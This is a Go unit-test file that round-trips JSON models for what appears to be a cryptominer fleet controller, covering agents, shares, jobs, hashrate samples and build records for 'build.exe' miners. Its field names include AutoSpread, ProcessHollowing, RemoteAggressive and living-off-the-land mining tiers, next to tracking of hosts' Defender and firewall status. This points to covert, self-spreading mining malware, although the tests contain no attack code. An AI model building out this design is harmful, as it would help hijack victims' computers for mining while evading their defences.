package models import ( "encoding/json" "testing" "time" ) func roundTripJSON(t *testing.T, v any) { t.Helper() b, err := json.Marshal(v) if err != nil { t.Fatalf("marshal: %v", err) } ptr := newSameType(v) if err := json.Unmarshal(b, ptr); err != nil { t.Fatalf("unmarshal: %v\njson: %s", err, string(b)) } } func newSameType(v any) any { switch v.(type) { case Agent: return &Agent{} case AgentService: return &AgentService{} case AgentCapabilities: return &AgentCapabilities{} case Share: return &Share{} case HashrateSample: return &HashrateSample{} case Job: return &Job{} case BuildRecord: return &BuildRecord{} default: panic("unsupported type") } } func TestAgentJSONRoundTrip(t *testing.T) { now := time.Date(2026, 5, 30, 12, 0, 0, 0, time.UTC) cpuFreq := 3200 cpuMax := 4000 throttle := true cpuTemp := 72 diskFree := 120.5 diskTotal := 512.0 diskPct := 23 gpuTemp := 65 gpuUsage := 40 ssh := true defender := true rtp := false fwDomain := true fwPrivate := false fwPublic := true patchDays := 14 patch := "2026-05-01" pending := 3 reboot := false elevated := true agent := Agent{ ID: "agent-1", Name: "worker-a", Wallet: "48abc", IP: "10.0.0.5", Version: "1.0", Status: "online", CPUCores: 8, MemoryGB: 16, LastSeen: now, CreatedAt: now.Add(-time.Hour), Hashrate15s: 1200, Hashrate1m: 1180, Hashrate15m: 1150, SharesTotal: 100, SharesGood: 98, SharesBad: 2, CPUUsagePct: 55.5, MemoryUsagePct: 42.0, UptimeSeconds: 3600, Notes: "lab node", Tags: []string{"gpu", "windows"}, Platform: "windows", Arch: "amd64", OSVersion: "10.0.26200", Capabilities: &AgentCapabilities{ HolePunch: true, RemoteAggressive: false, MeshP2P: false, AutoSpread: false, ProcessHollowing: false, AIEnabled: true, }, CPUFreqMHz: &cpuFreq, CPUMaxMHz: &cpuMax, CPUThrottle: &throttle, CPUTempC: &cpuTemp, DiskFreeGB: &diskFree, DiskTotalGB: &diskTotal, DiskFreePct: &diskPct, GPUTempC: &gpuTemp, GPUUsagePct: &gpuUsage, SSHAvailable: &ssh, PostureScore: 80, DefenderEnabled: &defender, DefenderRTP: &rtp, AVProducts: []string{"Windows Defender"}, FirewallDomain: &fwDomain, FirewallPrivate: &fwPrivate, FirewallPublic: &fwPublic, LastPatchDays: &patchDays, LastPatch: &patch, PendingUpdates: &pending, RebootPending: &reboot, AgentElevated: &elevated, Services: []AgentService{ {Name: "WinDefend", DisplayName: "Defender", Status: "running", StartType: "auto"}, }, } roundTripJSON(t, agent) } func TestAgentServiceJSONRoundTrip(t *testing.T) { roundTripJSON(t, AgentService{ Name: "sshd", DisplayName: "OpenSSH", Status: "running", StartType: "manual", }) } func TestAgentCapabilitiesJSONRoundTrip(t *testing.T) { roundTripJSON(t, AgentCapabilities{ HolePunch: true, RemoteAggressive: true, MeshP2P: true, AutoSpread: true, ProcessHollowing: true, AIEnabled: true, }) } func TestShareJSONRoundTrip(t *testing.T) { roundTripJSON(t, Share{ ID: 42, AgentID: "a1", JobID: "j1", Difficulty: 100000, Accepted: true, Hash: "abc", Nonce: "deadbeef", Timestamp: time.Now().UTC(), }) } func TestShareJSONOmitsEmptyError(t *testing.T) { s := Share{ID: 1, AgentID: "a", JobID: "j", Accepted: false, Timestamp: time.Now().UTC()} b, _ := json.Marshal(s) if string(b) != "" && containsField(string(b), "error") { // error field should be omitted when empty var m map[string]any _ = json.Unmarshal(b, &m) if _, ok := m["error"]; ok { t.Fatal("empty error should be omitted") } } } func containsField(jsonStr, field string) bool { var m map[string]any if err := json.Unmarshal([]byte(jsonStr), &m); err != nil { return false } _, ok := m[field] return ok } func TestHashrateSampleJSONRoundTrip(t *testing.T) { roundTripJSON(t, HashrateSample{ ID: 1, AgentID: "a1", Hashrate: 999.5, Timestamp: time.Now().UTC(), }) } func TestJobJSONRoundTrip(t *testing.T) { roundTripJSON(t, Job{ ID: "job-1", Height: 2800000, Difficulty: 500000, BlockTemplate: "template", SeedHash: "seed", Target: "target", CreatedAt: time.Now().UTC(), }) } func TestBuildRecordJSONRoundTrip(t *testing.T) { roundTripJSON(t, BuildRecord{ ID: "build-1", WorkerName: "w", ServerURL: "https://hub", Wallet: "48x", Threads: 4, FileSize: 1024, BundleSize: 2048, FilePath: "/data/build.exe", FileName: "build.exe", DownloadURL: "/api/v1/builds/build-1/download", Platform: "windows", ExtraFiles: []BuildExtraFile{{FileName: "README.txt"}}, CreatedAt: time.Now().UTC(), Pinned: true, PoolHost: "pool.example.com", PoolPort: 3333, PoolTLS: true, PoolPass: "x", }) } func TestAgentLotlFieldsJSONRoundTrip(t *testing.T) { agent := Agent{ ID: "lotl-1", Name: "tier-node", Status: "online", LOTLTier: "cpu_inprocess", MiningHashrate: 850.5, LOTLAttempts: []struct { Tier string `json:"tier"` OK bool `json:"ok"` Error string `json:"error,omitempty"` DurationMs int64 `json:"duration_ms"` Wallet string `json:"wallet,omitempty"` }{ {Tier: "container", OK: false, Error: "docker missing", DurationMs: 400, Wallet: "xmr-wallet"}, {Tier: "cpu_inprocess", OK: true, DurationMs: 1200, Wallet: "xmr-wallet"}, }, } b, err := json.Marshal(agent) if err != nil { t.Fatal(err) } var out Agent if err := json.Unmarshal(b, &out); err != nil { t.Fatal(err) } if out.LOTLTier != "cpu_inprocess" || out.MiningHashrate != 850.5 { t.Fatalf("lotl fields lost: %+v", out) } if len(out.LOTLAttempts) != 2 || !out.LOTLAttempts[1].OK { t.Fatalf("attempts=%+v", out.LOTLAttempts) } } func TestAgentMinimalJSON(t *testing.T) { var out Agent if err := json.Unmarshal([]byte(`{"id":"x","status":"offline"}`), &out); err != nil { t.Fatal(err) } if out.ID != "x" || out.Status != "offline" { t.Fatalf("unexpected: %+v", out) } }